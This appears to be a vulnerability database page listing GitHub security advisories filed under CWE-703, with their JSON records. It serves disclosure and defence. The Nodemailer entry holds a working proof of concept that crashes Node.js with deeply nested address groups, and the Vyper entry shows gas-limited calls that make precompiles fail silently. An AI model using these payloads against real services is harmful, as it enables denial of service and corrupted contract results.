Common Weakness Enumeration

CWE-703

Discouraged

Improper Check or Handling of Exceptional Conditions

Abstraction: Pillar · Status: Incomplete

The product does not properly anticipate or handle exceptional conditions that rarely occur during normal operation of the product.

210 vulnerabilities reference this CWE, most recent first.

GHSA-R76G-G87F-VW8F

Vulnerability from github – Published: 2024-04-24 20:03 – Updated: 2024-06-10 19:33

Summary

Kubelet Incorrect Privilege Assignment

Details

In kubelet v1.13.6 and v1.14.2, containers for pods that do not specify an explicit runAsUser attempt to run as uid 0 (root) on container restart, or if the image was previously pulled to the node. If the pod specified mustRunAsNonRoot: true, the kubelet will refuse to start the container as root. If the pod did not specify mustRunAsNonRoot: true, the kubelet will run the container as uid 0.

Severity

4.9 (Medium)


                  
                    CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes/cmd/kubelet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.14.0"
            },
            {
              "fixed": "1.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "k8s.io/kubernetes/cmd/kubelet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.13.0"
            },
            {
              "fixed": "1.13.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-11245"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-04-24T20:03:48Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "In kubelet v1.13.6 and v1.14.2, containers for pods that do not specify an explicit `runAsUser` attempt to run as uid 0 (root) on container restart, or if the image was previously pulled to the node. If the pod specified `mustRunAsNonRoot: true`, the kubelet will refuse to start the container as root. If the pod did not specify `mustRunAsNonRoot: true`, the kubelet will run the container as uid 0.",
  "id": "GHSA-r76g-g87f-vw8f",
  "modified": "2024-06-10T19:33:51Z",
  "published": "2024-04-24T20:03:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-11245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/issues/78308"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/pull/76665"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kubernetes/kubernetes/pull/76665/commits/26e3c8674e66f0d10170d34f5445f0aed207387f"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=1715726"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r76g-g87f-vw8f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kubernetes/kubernetes"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-2780"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20190919-0003"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kubelet Incorrect Privilege Assignment"
}

GHSA-R786-G2J8-4P9W

Vulnerability from github – Published: 2024-08-02 06:30 – Updated: 2024-08-02 06:30

Details

CloudLink, versions 7.1.x and 8.x, contain an Improper check or handling of Exceptional Conditions Vulnerability in Cluster Component. A highly privileged malicious user with remote access could potentially exploit this vulnerability, leading to execute unauthorized actions and retrieve sensitive information from the database.

Severity

6.6 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2024-38482"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-02T04:17:27Z",
    "severity": "MODERATE"
  },
  "details": "CloudLink, versions 7.1.x and 8.x, contain an Improper check or handling of Exceptional Conditions Vulnerability in Cluster Component. A highly privileged malicious user with remote access could potentially exploit this vulnerability, leading to execute unauthorized actions and retrieve sensitive information from the database.",
  "id": "GHSA-r786-g2j8-4p9w",
  "modified": "2024-08-02T06:30:56Z",
  "published": "2024-08-02T06:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38482"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-us/000227493/dsa-2024-343-security-update-for-dell-cloudlink-vulnerability"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RCMH-QJQH-P98V

Vulnerability from github – Published: 2025-12-01 20:44 – Updated: 2026-02-12 22:09

Summary

Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls

Details

Summary

A DoS can occur that immediately halts the system due to the use of an unsafe function.

Details

According to RFC 5322, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list. However, the code implemented for this flattening process can be exploited by malicious input and triggers DoS

RFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group. At the following location in lib/addressparser/index.js:

https://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90

there is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:

g0: g1: g2: g3: ... gN: victim@example.com;

Because no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern addressparser → _handleAddress → addressparser → ... for each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.

The problematic code section is as follows:

if (isGroup) {
    ...
    if (data.group.length) {
        let parsedGroup = addressparser(data.group.join(',')); // <- boom!
        parsedGroup.forEach(member => {
            if (member.group) {
                groupMembers = groupMembers.concat(member.group);
            } else {
                groupMembers.push(member);
            }
        });
    }
}

data.group is expected to contain members separated by commas, but in the attacker’s payload the group contains colon (:) tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.

PoC

const nodemailer = require('nodemailer');

function buildDeepGroup(depth) {
  let parts = [];
  for (let i = 0; i < depth; i++) {
    parts.push(`g${i}:`);
  }
  return parts.join(' ') + ' user@example.com;';
}

const DEPTH = 3000; // <- control depth 
const toHeader = buildDeepGroup(DEPTH);
console.log('to header length:', toHeader.length);

const transporter = nodemailer.createTransport({
  streamTransport: true,
  buffer: true,
  newline: 'unix'
});

console.log('parsing start');

transporter.sendMail(
  {
    from: 'test@example.com',
    to: toHeader,
    subject: 'test',
    text: 'test'
  },
  (err, info) => {
    if (err) {
      console.error('error:', err);
    } else {
      console.log('finished :', info && info.envelope);
    }
  }
);

As a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.

Impact

The attacker can achieve the following:

Force an immediate crash of any server/service that uses Nodemailer
Kill the backend process with a single web request
In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion”

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.10"
      },
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-14874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-01T20:44:25Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA DoS can occur that immediately halts the system due to the use of an unsafe function.\n\n### Details\nAccording to **RFC 5322**, nested group structures (a group inside another group) are not allowed. Therefore, in lib/addressparser/index.js, the email address parser performs flattening when nested groups appear, since such input is likely to be abnormal. (If the address is valid, it is added as-is.) In other words, the parser flattens all nested groups and inserts them into the final group list.\nHowever, the code implemented for this flattening process can be exploited by malicious input and triggers DoS\n\nRFC 5322 uses a colon (:) to define a group, and commas (,) are used to separate members within a group.\nAt the following location in lib/addressparser/index.js:\n\nhttps://github.com/nodemailer/nodemailer/blob/master/lib/addressparser/index.js#L90\n\nthere is code that performs this flattening. The issue occurs when the email address parser attempts to process the following kind of malicious address header:\n\n```g0: g1: g2: g3: ... gN: victim@example.com;```\n\nBecause no recursion depth limit is enforced, the parser repeatedly invokes itself in the pattern\n`addressparser \u2192 _handleAddress \u2192 addressparser \u2192 ...`\nfor each nested group. As a result, when an attacker sends a header containing many colons, Nodemailer enters infinite recursion, eventually throwing Maximum call stack size exceeded and causing the process to terminate immediately. Due to the structure of this behavior, no authentication is required, and a single request is enough to shut down the service.\n\nThe problematic code section is as follows:\n```js\nif (isGroup) {\n    ...\n    if (data.group.length) {\n        let parsedGroup = addressparser(data.group.join(\u0027,\u0027)); // \u003c- boom!\n        parsedGroup.forEach(member =\u003e {\n            if (member.group) {\n                groupMembers = groupMembers.concat(member.group);\n            } else {\n                groupMembers.push(member);\n            }\n        });\n    }\n}\n```\n`data.group` is expected to contain members separated by commas, but in the attacker\u2019s payload the group contains colon `(:)` tokens. Because of this, the parser repeatedly triggers recursive calls for each colon, proportional to their number.\n\n### PoC\n\n```\nconst nodemailer = require(\u0027nodemailer\u0027);\n\nfunction buildDeepGroup(depth) {\n  let parts = [];\n  for (let i = 0; i \u003c depth; i++) {\n    parts.push(`g${i}:`);\n  }\n  return parts.join(\u0027 \u0027) + \u0027 user@example.com;\u0027;\n}\n\nconst DEPTH = 3000; // \u003c- control depth \nconst toHeader = buildDeepGroup(DEPTH);\nconsole.log(\u0027to header length:\u0027, toHeader.length);\n\nconst transporter = nodemailer.createTransport({\n  streamTransport: true,\n  buffer: true,\n  newline: \u0027unix\u0027\n});\n\nconsole.log(\u0027parsing start\u0027);\n\ntransporter.sendMail(\n  {\n    from: \u0027test@example.com\u0027,\n    to: toHeader,\n    subject: \u0027test\u0027,\n    text: \u0027test\u0027\n  },\n  (err, info) =\u003e {\n    if (err) {\n      console.error(\u0027error:\u0027, err);\n    } else {\n      console.log(\u0027finished :\u0027, info \u0026\u0026 info.envelope);\n    }\n  }\n);\n```\nAs a result, when the colon is repeated beyond a certain threshold, the Node.js process terminates immediately.\n\n### Impact\nThe attacker can achieve the following:\n\n1. Force an immediate crash of any server/service that uses Nodemailer\n2. Kill the backend process with a single web request\n3. In environments using PM2/Forever, trigger a continuous restart loop, causing severe resource exhaustion\u201d",
  "id": "GHSA-rcmh-qjqh-p98v",
  "modified": "2026-02-12T22:09:00Z",
  "published": "2025-12-01T20:44:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14874"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2025-14874"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2418133"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodemailer/nodemailer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nodemailer\u2019s addressparser is vulnerable to DoS caused by recursive calls"
}

GHSA-RH4C-32WR-89CJ

Vulnerability from github – Published: 2023-08-31 00:30 – Updated: 2024-04-04 07:18

Details

An unhandled edge case in the component _sanitizedPath of ZipArchive v2.5.4 allows attackers to cause a Denial of Service (DoS) via a crafted zip file.

Severity

5.5 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2023-39136"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-08-30T22:15:08Z",
    "severity": "MODERATE"
  },
  "details": "An unhandled edge case in the component _sanitizedPath of ZipArchive v2.5.4 allows attackers to cause a Denial of Service (DoS) via a crafted zip file.",
  "id": "GHSA-rh4c-32wr-89cj",
  "modified": "2024-04-04T07:18:15Z",
  "published": "2023-08-31T00:30:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39136"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZipArchive/ZipArchive/issues/680"
    },
    {
      "type": "WEB",
      "url": "https://blog.ostorlab.co/zip-packages-exploitation.html"
    },
    {
      "type": "WEB",
      "url": "https://ostorlab.co/vulndb/advisory/OVE-2023-2"
    },
    {
      "type": "WEB",
      "url": "https://security.snyk.io/research/zip-slip-vulnerability"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RPR6-4JJ7-QXHW

Vulnerability from github – Published: 2022-11-07 19:00 – Updated: 2022-11-10 12:01

Details

ELAN Miniport touchpad Windows driver before 24.21.51.2, as used in PC hardware from multiple manufacturers, allows local users to cause a system crash by sending a certain IOCTL request, because that request is handled twice.

Severity

4.7 (Medium)


                  
                    CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2021-42205"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-07T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "ELAN Miniport touchpad Windows driver before 24.21.51.2, as used in PC hardware from multiple manufacturers, allows local users to cause a system crash by sending a certain IOCTL request, because that request is handled twice.",
  "id": "GHSA-rpr6-4jj7-qxhw",
  "modified": "2022-11-10T12:01:17Z",
  "published": "2022-11-07T19:00:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-42205"
    },
    {
      "type": "WEB",
      "url": "https://www.emc.com.tw/upload/F2E/Vulnerability%20Report/Vulnerability%20Report_Miniport%20touchpad%20Windows%20driver_20221107.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RR22-7M4R-XF6R

Vulnerability from github – Published: 2024-07-31 06:30 – Updated: 2025-03-27 18:30

Details

A vulnerability has been found in Dahua products. After obtaining the administrator's username and password, the attacker can send a carefully crafted data packet to the interface with vulnerabilities, causing the device to crash.

Severity

4.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2024-39945"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-31T04:15:03Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been found in Dahua products.\u00a0\u00a0After\nobtaining the administrator\u0027s username and password, the attacker can send a\ncarefully crafted data packet to the interface with vulnerabilities, causing\nthe device to crash.",
  "id": "GHSA-rr22-7m4r-xf6r",
  "modified": "2025-03-27T18:30:42Z",
  "published": "2024-07-31T06:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39945"
    },
    {
      "type": "WEB",
      "url": "https://www.dahuasecurity.com/aboutUs/trustedCenter/details/768"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V5WW-RWW6-GQ76

Vulnerability from github – Published: 2025-11-11 18:30 – Updated: 2025-11-19 21:31

Details

Incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability affects Firefox < 145.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2025-13022"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-11T16:15:39Z",
    "severity": "CRITICAL"
  },
  "details": "Incorrect boundary conditions in the Graphics: WebGPU component. This vulnerability affects Firefox \u003c 145.",
  "id": "GHSA-v5ww-rww6-gq76",
  "modified": "2025-11-19T21:31:17Z",
  "published": "2025-11-11T18:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13022"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1988488"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2025-87"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2025-90"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-V83Q-83HJ-RW38

Vulnerability from github – Published: 2025-02-28 17:46 – Updated: 2025-02-28 17:46

Summary

ntpd NTS client denial of service via wrongly sized cookies

Details

Two denial of service vulnerabilities were found in ntpd-rs related to the handling of NTS cookies in our client functionality. Whenever an NTS source is configured and the server behind that source is sending zero-sized cookies or cookies larger than what would fit in our buffer size, ntpd-rs would crash. Only configured NTS sources can abuse these vulnerabilities. NTP sources or third parties that are not configured cannot make use of these vulnerabilities.

For zero-sized cookies: a division by zero would force an exit when the number of new cookies that would need to be requested is calculated. In ntpd-rs 1.5.0 a check was added to prevent the division by zero.

For large cookies: while trying to send a NTP request with the cookie included, the buffer is too small to handle the cookie and an exit of ntpd-rs is forced once a write to the buffer is attempted. The memory outside the buffer would not be written to in this case. In ntpd-rs 1.5.0 a check was added that prevents accepting cookies larger than 350 bytes.

Users of older versions of ntpd-rs are recommended to update to the latest version. If an update is impossible, it is recommended to only add NTS sources to ntpd-rs that are trusted to not abuse this bug.

Severity

5.3 (Medium)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "ntpd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-369",
      "CWE-703"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-02-28T17:46:36Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "Two denial of service vulnerabilities were found in ntpd-rs related to the handling of NTS cookies in our client functionality. Whenever an NTS source is configured and the server behind that source is sending zero-sized cookies or cookies larger than what would fit in our buffer size, ntpd-rs would crash. Only configured NTS sources can abuse these vulnerabilities. NTP sources or third parties that are not configured cannot make use of these vulnerabilities.\n\nFor zero-sized cookies: a division by zero would force an exit when the number of new cookies that would need to be requested is calculated. In ntpd-rs 1.5.0 a check was added to prevent the division by zero.\n\nFor large cookies: while trying to send a NTP request with the cookie included, the buffer is too small to handle the cookie and an exit of ntpd-rs is forced once a write to the buffer is attempted. The memory outside the buffer would not be written to in this case. In ntpd-rs 1.5.0 a check was added that prevents accepting cookies larger than 350 bytes.\n\nUsers of older versions of ntpd-rs are recommended to update to the latest version. If an update is impossible, it is recommended to only add NTS sources to ntpd-rs that are trusted to not abuse this bug.",
  "id": "GHSA-v83q-83hj-rw38",
  "modified": "2025-02-28T17:46:36Z",
  "published": "2025-02-28T17:46:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pendulum-project/ntpd-rs/security/advisories/GHSA-v83q-83hj-rw38"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pendulum-project/ntpd-rs/commit/10a103b471dae25ac598140df0c195b6531bf716"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pendulum-project/ntpd-rs/commit/37dd8d9a0faa03e7dfe3a4bf64953010f075c3e2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pendulum-project/ntpd-rs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ntpd NTS client denial of service via wrongly sized cookies"
}

GHSA-V8Q7-Q2CX-MH43

Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:08

Details

An exploitable memory corruption vulnerability exists in the JavaScript engine of Foxit Software's Foxit PDF Reader, version 9.4.1.16828. A specially crafted PDF document can trigger an out-of-memory condition which isn't handled properly, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

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{
  "affected": [],
  "aliases": [
    "CVE-2019-5031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-703",
      "CWE-755",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-02T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "An exploitable memory corruption vulnerability exists in the JavaScript engine of Foxit Software\u0027s Foxit PDF Reader, version 9.4.1.16828. A specially crafted PDF document can trigger an out-of-memory condition which isn\u0027t handled properly, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.",
  "id": "GHSA-v8q7-q2cx-mh43",
  "modified": "2024-04-04T02:08:08Z",
  "published": "2022-05-24T16:57:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-5031"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2019-0793"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-VGF2-GVX8-XWC3

Vulnerability from github – Published: 2025-01-14 16:34 – Updated: 2025-04-24 14:39

Summary

Vyper Does Not Check the Success of Certain Precompile Calls

Details

Summary

When the Vyper Compiler uses the precompiles EcRecover (0x1) and Identity (0x4), the success flag of the call is not checked. As a consequence an attacker can provide a specific amount of gas to make these calls fail but let the overall execution continue. Then the execution result can be incorrect.

Based on EVM's rules, after the failed precompile the remaining code has only 1/64 of the pre-call-gas left (as 63/64 were forwarded and spent). Hence, only fairly simple executions can follow the failed precompile calls. Therefore, we found no significantly impacted real-world contracts.

The fix is tracked in https://github.com/vyperlang/vyper/pull/4451.

Details

The relevant precompiles

EcRecover

EcRecover is used in vyper's ecrecover built-in. As the precompile consumes 3000 gas, any execution after an out-of-gas EcRecover call has at most 47 gas left.

Identity

The Identity precompile is used in vyper to perform memory copy operations. As its cost is variable, a variable amount of gas might be left after a failed call. The bigger the copy operation, the more gas can be left. Hence, a failed call to Identity could theoretically be followed by successful storage changes or emitted events.
Identity is no longer used when evm-version cancun is used (because MCOPY is used instead). In 0.4.0 cancun is default, in 0.3.10 cancun is an option, otherwise cancun is not available. As only pre-cancun versions are relevant, we don't have to consider transient storage operations succeeding a failed call to Identity.

The other precompiles

Calls to Sha2, ecAdd, and ecMul have success checks and have had them for a long time.
The precompiles modexp, ripe, blake, ecPairing, and Point Evaluation have no builtins in vyper.

PoC

In the following we provide concrete examples of incorrectly generated bytecode. These examples are not optimized, but rather Proof-of-Concepts. The list is also not exhaustive.

`ecrecover` use

Affected versions: 0.2.0 - 0.4.0
For older compiler versions (<=0.3.9) it behaves similarly to this older advisory. As no data is returned, the previous value of the memory word is returned to the user. Hence, any dirty bytes might be returned. Contracts with older compiler versions and ecrecover were checked.
For new vyper versions, the output buffer is zeroed, so when the call fails zero is returned. This is an incorrect result, but developers should anyway check for 0 as a failure case. Hence, this is unlikely to result in issues. However, we did search for such cases.
As mentioned above at most 47 gas is left after the failed call, hence a return is the most realistic scenario to be attacked.

Vulnerable Code:

@external
@view
def foo(hash: bytes32, v: uint256, r:uint256, s:uint256) -> address:
    return ecrecover(hash, v, r, s)

Problematic Call:

print(
    c.foo(
        binascii.unhexlify(
            "6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055"
        ),
        28,
        78616903610408968922803823221221116251138855211764625814919875002740131251724,
        37668412420813231458864536126575229553064045345107737433087067088194345044408,
    )
)  # Returns 0x9eE53ad38Bb67d745223a4257D7d48cE973FeB7A

print(
    c.foo(
        binascii.unhexlify(
            "6c9c5e133b8aafb2ea74f524a5263495e7ae5701c7248805f7b511d973dc7055"
        ),
        28,
        78616903610408968922803823221221116251138855211764625814919875002740131251724,
        37668412420813231458864536126575229553064045345107737433087067088194345044408,
        gas=3000,
    )
)  # Returns 0x0000000000000000000000000000000000000000

Identity to copy Dynamic Arrays

Affected versions: 0.3.2 - 0.3.9
Dynamic Arrays might be copied on different occasions
That copy operation can fail leading to incorrect accesses afterwards

Vulnerable Code:


@external
def foo() -> uint256:
    a: DynArray[uint256, 4000] = [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
    b: DynArray[uint256, 4000] = a
    return b[0]

Problematic Call:

print(c.foo())            # Prints 2
print(c.foo(gas=170000))  # Prints 0

Identity in ABI Encoding of Returndata

Affected versions: 0.3.2 - 0.4.0
Complex types such as Dynamic array with Strings inside need to be abi encoded before being returned
In that return there is a memory copy which can fail

Vulnerable Code:

@external
@view
def foo(x: String[1000000], y: String[1000000]) -> DynArray[String[1000000], 2]:
    z: DynArray[String[1000000], 2] = [x, y]
    # Some code
    return z

Problematic Call:

calldata0 = "a"*10
calldata1 = "b"*1000000
c.foo(calldata0, calldata1)                   # Returns correct data
c.foo(calldata0, calldata1, gas=48_400_000)   # Returns incorrect data (only first part)

Assertion based on data copied through Identity

Affected versions: 0.2.0 - 0.4.0
An incomplete copy operation might falsify the result of a subsequent assert

Vulnerable Code:

@internal
def bar() -> uint256[3000]:
